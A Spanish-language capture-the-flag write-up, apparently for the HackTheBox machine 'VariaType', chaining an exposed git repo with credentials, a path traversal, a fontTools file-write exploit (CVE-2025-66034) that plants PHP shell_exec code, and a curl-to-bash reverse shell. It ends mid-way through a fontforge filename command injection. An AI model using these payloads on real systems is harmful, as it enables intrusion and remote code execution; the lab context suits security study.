Informacion de la Maquina
VariaType permite la creacion de Variable Fonts en el sitio con fonttools, esta ultima es vulnerable a Arbirary File Write e Inyeccion XML. Tambien, se descubrio un subdominio que aloja y expone un repositorio con credenciales para un portal, se identifico un Path Traversal. La explotacion permitio acceso inicial. Se descubrio un backup de script Python con la libreria fontforge vulnerable, la explotacion permitio acceso a un nuevo usuario. Finalmente se escalaron privilegios a traves de una vulnerabilidad en la libreria de setuptools de Python.
Recon
nmap
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1# Nmap 7.95 scan initiated Thu Mar 19 22:57:01 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.255.105
2Nmap scan report for 10.129.255.105
3Host is up (0.24s latency).
4
5PORT STATE SERVICE VERSION
622/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
7| ssh-hostkey:
8| 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
9|_ 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
1080/tcp open http nginx 1.22.1
11|_http-title: Did not follow redirect to http://variatype.htb/
12|_http-server-header: nginx/1.22.1
13Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
14
15Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
16# Nmap done at Thu Mar 19 22:57:16 2026 -- 1 IP address (1 host up) scanned in 14.56 secondsAgregamos a nuestro archivo /etc/hosts el dominio variatype.htb.
Web Site
Los headers del sitio indican un servidor nginx.
1❯ curl -sI variatype.htb
2HTTP/1.1 200 OK
3Server: nginx/1.22.1
4Date: Fri, 20 Mar 2026 05:01:15 GMT
5Content-Type: text/html; charset=utf-8
6Content-Length: 2321
7Connection: keep-alive
8
9❯El sitio se enfoca en la creacion de fuentes a base de un archivo .designspace.

Expone un formulario para el envio de archivos .designspace y fuentes (.ttf, .otf), a base de estos se crearia una “variable font”.

Se menciona CI/CD pipelines.

Directory Brute Forcing
dirsearch muestra una direccion de descarga.
1❯ dirsearch -u http://variatype.htb/ 2>/dev/null
2
3 _|. _ _ _ _ _ _|_ v0.4.3
4 (_||| _) (/_(_|| (_| )
5
6Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
7
8Output File: /home/kali/htb/variatype/reports/http_variatype.htb/__26-03-19_23-03-16.txt
9
10Target: http://variatype.htb/
11
12[23:03:16] Starting:
13[23:04:14] 302 - 247B - /download/history.csv -> /tools/variable-font-generator
14[23:04:14] 302 - 247B - /download/users.csv -> /tools/variable-font-generator
15[23:04:52] 200 - 3KB - /services
16
17Task Completed
18❯La direccion /download/ seguramente sea para la descarga del archivo generado por el sitio, al visitar la direccion muestra un mensaje de error.

Subdomain Discovery
Tras ejecutar ffuf este muestra el subdominio portal.
1❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.variatype.htb" -u http://variatype.htb -fw 5
2
3 /'___\ /'___\ /'___\
4 /\ \__/ /\ \__/ __ __ /\ \__/
5 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
6 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
7 \ \_\ \ \_\ \ \____/ \ \_\
8 \/_/ \/_/ \/___/ \/_/
9
10 v2.1.0-dev
11________________________________________________
12
13 :: Method : GET
14 :: URL : http://variatype.htb
15 :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
16 :: Header : Host: FUZZ.variatype.htb
17 :: Follow redirects : false
18 :: Calibration : false
19 :: Timeout : 10
20 :: Threads : 40
21 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
22 :: Filter : Response words: 5
23________________________________________________
24
25portal [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 245ms]
26:: Progress: [151265/151265] :: Job [1/1] :: 167 req/sec :: Duration: [0:15:26] :: Errors: 0 ::
27❯ portal.variatype.htb
El subdominio muestra un formulario para un login.

Directory Brute Forcing
dirsearch muestra un repositorio expuesto, paginas php y un directorio.
1❯ dirsearch -u http://portal.variatype.htb/ 2>/dev/null
2
3 _|. _ _ _ _ _ _|_ v0.4.3
4 (_||| _) (/_(_|| (_| )
5
6Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
7
8Output File: /home/kali/htb/variatype/reports/http_portal.variatype.htb/__26-03-20_00-02-32.txt
9
10Target: http://portal.variatype.htb/
11
12[00:02:32] Starting:
13[00:02:40] 301 - 169B - /.git -> http://portal.variatype.htb/.git/
14[00:02:40] 403 - 555B - /.git/
15[00:02:40] 403 - 555B - /.git/branches/
16[00:02:40] 200 - 39B - /.git/COMMIT_EDITMSG
17[00:02:40] 200 - 143B - /.git/config
18[00:02:40] 200 - 73B - /.git/description
19[00:02:40] 200 - 23B - /.git/HEAD
20[00:02:40] 403 - 555B - /.git/hooks/
21[00:02:40] 200 - 137B - /.git/index
22[00:02:40] 403 - 555B - /.git/info/
23[00:02:40] 200 - 240B - /.git/info/exclude
24[00:02:40] 403 - 555B - /.git/logs/
25[00:02:40] 200 - 700B - /.git/logs/HEAD
26[00:02:40] 301 - 169B - /.git/logs/refs -> http://portal.variatype.htb/.git/logs/refs/
27[00:02:40] 301 - 169B - /.git/logs/refs/heads -> http://portal.variatype.htb/.git/logs/refs/heads/
28[00:02:40] 200 - 700B - /.git/logs/refs/heads/master
29[00:02:40] 403 - 555B - /.git/objects/
30[00:02:40] 301 - 169B - /.git/refs/heads -> http://portal.variatype.htb/.git/refs/heads/
31[00:02:40] 403 - 555B - /.git/refs/
32[00:02:40] 200 - 41B - /.git/refs/heads/master
33[00:02:40] 301 - 169B - /.git/refs/tags -> http://portal.variatype.htb/.git/refs/tags/
34[00:03:15] 200 - 0B - /auth.php
35[00:03:27] 302 - 0B - /dashboard.php -> /
36[00:03:30] 302 - 0B - /download.php -> /
37[00:03:34] 301 - 169B - /files -> http://portal.variatype.htb/files/
38[00:03:34] 403 - 555B - /files/
39[00:04:21] 302 - 0B - /view.php -> /
40
41Task Completed
42❯Portal - Repo
git-dumper nos permitio obtener el repositorio.
1❯ git-dumper http://portal.variatype.htb/ portal_repo
2[-] Testing http://portal.variatype.htb/.git/HEAD [200]
3[-] Testing http://portal.variatype.htb/.git/ [403]
4[-] Fetching common files
5[-] Fetching http://portal.variatype.htb/.gitignore [404]
6# ... skip ...
7[-] Fetching http://portal.variatype.htb/.git/objects/c6/ea13ef05d96cf3f35f62f87df24ade29d1d6b4 [200]
8[-] Fetching http://portal.variatype.htb/.git/objects/03/0e929d424a937e9bd079794a7e1aaf366bcfaf [200]
9[-] Fetching http://portal.variatype.htb/.git/objects/b3/28305f0e85c2b97a7e2a94978ae20f16db75e8 [200]
10[-] Running git checkout .
11❯git log muestra dos commits realizados mencionando el portal y un usuario para el pipeline. git status muestra un archivo con cambios no enviado.
1❯ git log
2commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
3Author: Dev Team <dev@variatype.htb>
4Date: Fri Dec 5 15:59:33 2025 -0500
5
6 fix: add gitbot user for automated validation pipeline
7
8commit 5030e791b764cb2a50fcb3e2279fea9737444870
9Author: Dev Team <dev@variatype.htb>
10Date: Fri Dec 5 15:57:57 2025 -0500
11
12 feat: initial portal implementation
13❯ git status
14On branch master
15Changes to be committed:
16 (use "git restore --staged <file>..." to unstage)
17 modified: auth.php
18
19❯ cat auth.php
20<?php
21session_start();
22$USERS = [];
23❯Uno de los commits muestra credenciales: gitbot : G1tB0t_Acc3ss_2025!.
1❯ git show 753b5f5957
2commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
3Author: Dev Team <dev@variatype.htb>
4Date: Fri Dec 5 15:59:33 2025 -0500
5
6 fix: add gitbot user for automated validation pipeline
7
8diff --git a/auth.php b/auth.php
9index 615e621..b328305 100644
10--- a/auth.php
11+++ b/auth.php
12@@ -1,3 +1,5 @@
13 <?php
14 session_start();
15-$USERS = [];
16+$USERS = [
17+ 'gitbot' => 'G1tB0t_Acc3ss_2025!'
18+];
19❯Las credenciales permiten el acceso al portal, este indica las fuentes creadas por el sitio web en el dominio.

User - www-data
CVE-2025-66034
Para generar una ‘variable font’ se necesita un archivo .designspace junto con archivos de fuente .ttf .otf. Este es un archivo de “configuraciones” para una familia de fuentes. fonttools, herramienta utilizada por el sitio, permite generar este tipo de archivos. Especificamente este archivo, en esta ’libreria’, tiene una vulnerabilidad que permite la escritura de archivos de forma arbitraria a traves de Inyeccion XML (Arbitrary File Write and XML injection in fontTools.varLib) que puede escalar a RCE.
En el PoC se especifica el contenido y el archivo a escribir.
1<!-- skip -->
2<labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
3<!-- skip -->
4<variable-fonts>
5 <variable-font name="MyFont" filename="output.ttf">
6 <axis-subsets>
7 <axis-subset name="Weight"/>
8 </axis-subsets>
9 </variable-font>
10</variable-fonts>
11<!-- skip -->Tras ejecutar el archivo setup.py este genera dos fuentes.
1❯ python setup.py
2❯ ll
3.rw-rw-r-- kali kali 813 B Thu Mar 19 23:22:21 2026 mal.designspace
4.rw-rw-r-- kali kali 953 B Thu Mar 19 23:21:59 2026 setup.py
5.rw-rw-r-- kali kali 600 B Thu Mar 19 23:22:27 2026 source-light.ttf
6.rw-rw-r-- kali kali 600 B Thu Mar 19 23:22:27 2026 source-regular.ttf
7❯ Enviamos el PoC junto con las dos fuentes, muestra que la ‘variable font’ esta completa.

file muestra que es un archivo TrueType Font data.
1❯ file MyVariableFont_-iAnQx7OmxM.ttf
2MyVariableFont_-iAnQx7OmxM.ttf: TrueType Font data, 14 tables, 1st "HVAR", 10 names, Macintosh, type 1 string, TestWeight400<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>ThinMEOW2
3❯En el portal se lista el archivo.

La opcion View permite visualizar informacion del archivo. Download descarga el archivo almacenado en este mismo subdominio.

En ninguna parte encontramos el archivo output.ttf el cual tendria la ejecucion de touch, posiblemente este siendo creado en un lugar diferente no accesible via web. Para crear y acceder a este archivo debemos crearlo en un directorio accesible via web.
Path Traversal
En el portal es posible la descarga de archivos, generamos un wordlist con dotdotpwn.
1❯ ./dotdotpwn.pl -m stdout -d 12 -f /etc/passwd > ~/htb/variatype/wordlist_traversal.txtffuf muestra que es posible acceder a archivos de la maquina, en este caso /etc/passwd, esto indicaria un Path Traversal.
1❯ ffuf -w wordlist_traversal.txt -u 'http://portal.variatype.htb/download.php?f=FUZZ' -H 'Cookie: PHPSESSID=0u6rvak3eo9l56m6jmtta117rd' -fl 1
2
3 /'___\ /'___\ /'___\
4 /\ \__/ /\ \__/ __ __ /\ \__/
5 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
6 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
7 \ \_\ \ \_\ \ \____/ \ \_\
8 \/_/ \/_/ \/___/ \/_/
9
10 v2.1.0-dev
11________________________________________________
12
13 :: Method : GET
14 :: URL : http://portal.variatype.htb/download.php?f=FUZZ
15 :: Wordlist : FUZZ: /home/kali/htb/variatype/wordlist_traversal.txt
16 :: Header : Cookie: PHPSESSID=0u6rvak3eo9l56m6jmtta117rd
17 :: Follow redirects : false
18 :: Calibration : false
19 :: Timeout : 10
20 :: Threads : 40
21 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
22 :: Filter : Response lines: 1
23________________________________________________
24
25..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
26..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
27..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
28..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
29..././..././..././..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
30..././..././..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
31..././..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
32..././..././..././..././..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 239ms]
33.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
34.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
35.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
36.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
37.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
38.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
39.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
40.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
41....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
42....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
43....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
44....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
45....//....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
46....//....//....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
47....//....//....//....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
48....//....//....//....//....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
49..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
50..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
51..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
52..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
53..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
54..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
55..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
56..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
57:: Progress: [11052/11052] :: Job [1/1] :: 166 req/sec :: Duration: [0:01:06] :: Errors: 0 ::
58❯/etc/passwd muestra el usuario steve.
1❯ curl 'http://portal.variatype.htb/download.php?f=..././..././..././..././..././etc/passwd' -H 'Cookie: PHPSESSID=0u6rvak3eo9l56m6jmtta117rd'
2root:x:0:0:root:/root:/bin/bash
3daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
4bin:x:2:2:bin:/bin:/usr/sbin/nologin
5sys:x:3:3:sys:/dev:/usr/sbin/nologin
6sync:x:4:65534:sync:/bin:/bin/sync
7games:x:5:60:games:/usr/games:/usr/sbin/nologin
8man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
9lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
10mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
11news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
12uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
13proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
14www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
15backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
16list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
17irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
18_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
19nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
20systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
21systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
22messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
23sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
24steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
25variatype:x:102:110::/nonexistent:/usr/sbin/nologin
26_laurel:x:999:996::/var/log/laurel:/bin/false
27❯Nginx
El archivo de configuracion de nginx indica que existen dos sitios habilitados.
1❯ curl 'http://portal.variatype.htb/download.php?f=..././..././..././..././..././etc/nginx/nginx.conf' -H 'Cookie: PHPSESSID=0u6rvak3eo9l56m6jmtta117rd'
2user www-data;
3worker_processes auto;
4pid /run/nginx.pid;
5error_log /var/log/nginx/error.log;
6include /etc/nginx/modules-enabled/*.conf;
7
8events {
9 worker_connections 768;
10 # multi_accept on;
11}
12
13http {
14 # ... skip ...
15
16 ##
17 # Virtual Host Configs
18 ##
19
20 include /etc/nginx/conf.d/*.conf;
21 include /etc/nginx/sites-enabled/variatype.htb;
22 include /etc/nginx/sites-enabled/portal.variatype.htb;
23}
24# ... skip ...
25❯El dominio es un reverse proxy para el puerto 5000 localmente.
1# /etc/nginx/sites-enabled/variatype.htb
2server {
3 listen 80 default_server;
4 listen [::]:80 default_server;
5
6 server_name _;
7
8 return 301 http://variatype.htb$request_uri;
9}
10
11server {
12 listen 80;
13 server_name variatype.htb;
14
15 access_log /var/log/nginx/variatype_access.log;
16 error_log /var/log/nginx/variatype_error.log;
17
18 location / {
19 proxy_pass http://127.0.0.1:5000;
20 proxy_set_header Host $host;
21 proxy_set_header X-Real-IP $remote_addr;
22 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
23 proxy_set_header X-Forwarded-Proto $scheme;
24 }
25
26}El segundo es para el subdominio, el portal, en este se indica la raiz del directorio. Ademas, se indica /files/ donde es posible acceder a archivos conociendo unicamente el nombre.
1# /etc/nginx/sites-enabled/portal.variatype.htb
2server {
3 listen 80;
4 server_name portal.variatype.htb;
5
6 root /var/www/portal.variatype.htb/public;
7 index index.php;
8
9 access_log /var/log/nginx/portal_access.log;
10 error_log /var/log/nginx/portal_error.log;
11
12 location / {
13 try_files $uri $uri/ =404;
14 }
15
16 location ~ \.php$ {
17 include snippets/fastcgi-php.conf;
18 fastcgi_pass unix:/run/php/php-fpm.sock;
19 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
20 include fastcgi_params;
21 }
22
23 location /files/ {
24 autoindex off;
25 }
26}Exploit - CVE-2025-66034
Con la informacion de nginx logramos encontrar una direccion accesible via web donde podemos realizar la escritura de un archivo a traves de la vulnerabilidad en fonttools.
1/var/www/portal.variatype.htb/public/files/Editamos el PoC donde indicamos la ejecucion de whoami dentro de /files/whoami.php.
1<?xml version='1.0' encoding='UTF-8'?>
2<designspace format="5.0">
3 <axes>
4 <!-- XML injection occurs in labelname elements with CDATA sections -->
5 <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
6 <labelname xml:lang="en"><![CDATA[<?php echo(shell_exec("whoami"));?>]]]]><![CDATA[>]]></labelname>
7 <labelname xml:lang="fr">MEOW2</labelname>
8 </axis>
9 </axes>
10 <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
11 <sources>
12 <source filename="source-light.ttf" name="Light">
13 <location>
14 <dimension name="Weight" xvalue="100"/>
15 </location>
16 </source>
17 <source filename="source-regular.ttf" name="Regular">
18 <location>
19 <dimension name="Weight" xvalue="400"/>
20 </location>
21 </source>
22 </sources>
23 <variable-fonts>
24 <variable-font name="MyFont" filename="/var/www/portal.variatype.htb/public/files/whoami.php">
25 <axis-subsets>
26 <axis-subset name="Weight"/>
27 </axis-subsets>
28 </variable-font>
29 </variable-fonts>
30 <instances>
31 <instance name="Display Thin" familyname="MyFont" stylename="Thin">
32 <location><dimension name="Weight" xvalue="100"/></location>
33 <labelname xml:lang="en">Display Thin</labelname>
34 </instance>
35 </instances>
36</designspace>Tras subir el archivo vemos que se lista whoami.php, esto indicaria que los archivos listados son los que se encuentran en /files/.

Tambien, observamos que se ejecuto el comando.

Shell
Ejecutamos shells, editamos el poc para la ejecucion de una shell inversa.
1<labelname xml:lang="en"><![CDATA[ <?php shell_exec("curl 10.10.14.10:8000/10.10.14.10:1335|bash");?> ]]]]><![CDATA[>]]></labelname>Tras visitar el archivo logramos una shell como www-data.
1❯ rlwrap nc -lvp 1335
2listening on [any] 1335 ...
3connect to [10.10.14.10] from variatype.htb [10.129.255.115] 40154
4/bin/sh: 0: can't access tty; job control turned off
5$ whoami;id;pwd
6www-data
7uid=33(www-data) gid=33(www-data) groups=33(www-data)
8/var/www/portal.variatype.htb/public/files
9$download.php y dashboard.php indican el manejo de archivos.
User - Steve
En el directorio /opt encontramos dos directorios y un archivo. variatype contiene el codigo fuente del sitio en el dominio. process_client_submissions.bak aparentemente es un backup de un script que maneja los archivos fuente del portal. font-tools contiene un script y directorio para la instalacion de plugins.
1$ pwd
2/opt
3$ ls -lah
4total 20K
5drwxr-xr-x 4 root root 4.0K Mar 9 08:29 .
6drwxr-xr-x 18 root root 4.0K Mar 9 08:29 ..
7drwxr-xr-x 3 root root 4.0K Mar 9 08:29 font-tools
8-rwxr-xr-- 1 steve steve 2.0K Feb 26 07:50 process_client_submissions.bak
9drwxr-xr-x 4 variatype variatype 4.0K Mar 9 08:29 variatype
10$Command Injection - fontforge
En process_client_submissions.bak encontramos que utiliza codigo python con la libreria fontforge para obtener informacion del archivo procesado.
1#!/bin/bash
2#
3# Variatype Font Processing Pipeline
4# Author: Steve Rodriguez <steve@variatype.htb>
5# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
6#
7
8set -euo pipefail
9
10UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
11PROCESSED_DIR="/home/steve/processed_fonts"
12QUARANTINE_DIR="/home/steve/quarantine"
13LOG_FILE="/home/steve/logs/font_pipeline.log"
14
15mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"
16
17log() {
18 echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
19}
20
21cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }
22
23shopt -s nullglob
24
25EXTENSIONS=(
26 "*.ttf" "*.otf" "*.woff" "*.woff2"
27 "*.zip" "*.tar" "*.tar.gz"
28 "*.sfd"
29)
30
31SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
32
33found_any=0
34for ext in "${EXTENSIONS[@]}"; do
35 for file in $ext; do
36 found_any=1
37 [[ -f "$file" ]] || continue
38 [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }
39
40 # Enforce strict naming policy
41 if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
42 log "QUARANTINE: Filename contains invalid characters: $file"
43 mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
44 continue
45 fi
46
47 log "Processing submission: $file"
48
49 if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
50import fontforge
51import sys
52try:
53 font = fontforge.open('$file')
54 family = getattr(font, 'familyname', 'Unknown')
55 style = getattr(font, 'fontname', 'Default')
56 print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
57 font.close()
58except Exception as e:
59 print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
60 sys.exit(1)
61"; then
62 log "SUCCESS: Validated $file"
63 else
64 log "WARNING: FontForge reported issues with $file"
65 fi
66
67 mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
68 done
69done
70
71if [[ $found_any -eq 0 ]]; then
72 log "No eligible submissions found."
73fipspy muestra que existe un cronjob que ejecuta un script similar, en este caso el codigo python con el nombre del archivo.
12026/03/20 05:16:01 CMD: UID=1000 PID=4926 | date --iso-8601=seconds
22026/03/20 05:16:01 CMD: UID=1000 PID=4927 | timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c
3import fontforge
4import sys
5try:
6 font = fontforge.open('variabype_-iAnQx7OmxM.ttf')
7 family = getattr(font, 'familyname', 'Unknown')
8 style = getattr(font, 'fontname', 'Default')
9 print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
10 font.close()
11except Exception as e:
12 print(f'ERROR: Failed to process variabype_-iAnQx7OmxM.ttf: {e}', file=sys.stderr)
13 sys.exit(1)
14
152026/03/20 05:16:01 CMD: UID=1000 PID=4928 | timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c
16import fontforge
17import sys
18try:
19 font = fontforge.open('variabype_-iAnQx7OmxM.ttf')
20 family = getattr(font, 'familyname', 'Unknown')
21 style = getattr(font, 'fontname', 'Default')
22 print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
23 font.close()
24except Exception as e:
25 print(f'ERROR: Failed to process variabype_-iAnQx7OmxM.ttf: {e}', file=sys.stderr)
26 sys.exit(1)
27
282026/03/20 05:16:02 CMD: UID=1000 PID=4929 | /bin/bash /home/steve/bin/process_client_submissions.sh
292026/03/20 05:16:02 CMD: UID=1000 PID=4930En un commit de fontforge se indica CVE-2024-25081 & CVE-2024-25082, en este se describe el uso de la funcion system() para “descomprimir” las fuentes dentro del archivo, especificando el nombre directamente como argumento lo que llevaria a la inyeccion de comandos.
Con un script en python creamos un archivo ZIP dentro de este, un archivo en donde indicamos la ejecucion de whoami en el nombre.
1import zipfile
2import io
3
4file = "font.zip"
5cmd_file = "test;whoami > /dev/shm/whoami;.ttf"
6
7with zipfile.ZipFile(file, 'w') as pzip:
8 pzip.writestr(cmd_file, "dummydataaaaaaaaaaaaaaaaaaaaa")
9
10print(f"Created {file} with command {cmd_file}.")Se creo el archivo con el comando.
1❯ python poc.py
2Created font.zip with command test;whoami > /dev/shm/whoami;.ttf.
3❯ ll font.zip
4.rw-rw-r-- kali kali 181 B Fri Mar 20 03:49:00 2026 font.zip
5❯Lo agregamos al directorio /var/www/portal.variatype.htb/public/files al cual tenemos acceso.
1$ ls -lah
2total 20K
3drwxrwsr-x 2 www-data www-data 4.0K Mar 20 05:55 .
4drwxrwxr-x 4 root www-data 4.0K Mar 9 08:29 ..
5-rw-r--r-- 1 www-data www-data 181 Mar 20 05:35 font.zip
6-rw-r--r-- 1 variatype www-data 1.1K Mar 20 04:14 variabype_-iAnQx7OmxM.ttf
7-rw-r--r-- 1 variatype www-data 1.1K Mar 20 04:36 whoami.php
8$Luego de varios segundos observamos en pspy la ejecucion de nuestro comando.
12026/03/20 05:40:02 CMD: UID=1000 PID=5203 | /usr/local/src/fontforge/build/bin/fontforge -lang=py -c
2import fontforge
3import sys
4try:
5 font = fontforge.open('normal_font.zip')
6 family = getattr(font, 'familyname', 'Unknown')
7 style = getattr(font, 'fontname', 'Default')
8 print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
9 font.close()
10except Exception as e:
11 print(f'ERROR: Failed to process normal_font.zip: {e}', file=sys.stderr)
12 sys.exit(1)
13
142026/03/20 05:40:02 CMD: UID=1000 PID=5204 | sh -c unzip -l /var/www/portal.variatype.htb/public/files/normal_font.zip > /tmp/ffarchive-5202-1/ff-archive-table-of-contents
152026/03/20 05:40:02 CMD: UID=1000 PID=5205 | /usr/local/src/fontforge/build/bin/fontforge -lang=py -c
16import fontforge
17import sys
18try:
19 font = fontforge.open('normal_font.zip')
20 family = getattr(font, 'familyname', 'Unknown')
21 style = getattr(font, 'fontname', 'Default')
22 print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
23 font.close()
24except Exception as e:
25 print(f'ERROR: Failed to process normal_font.zip: {e}', file=sys.stderr)
26 sys.exit(1)
27
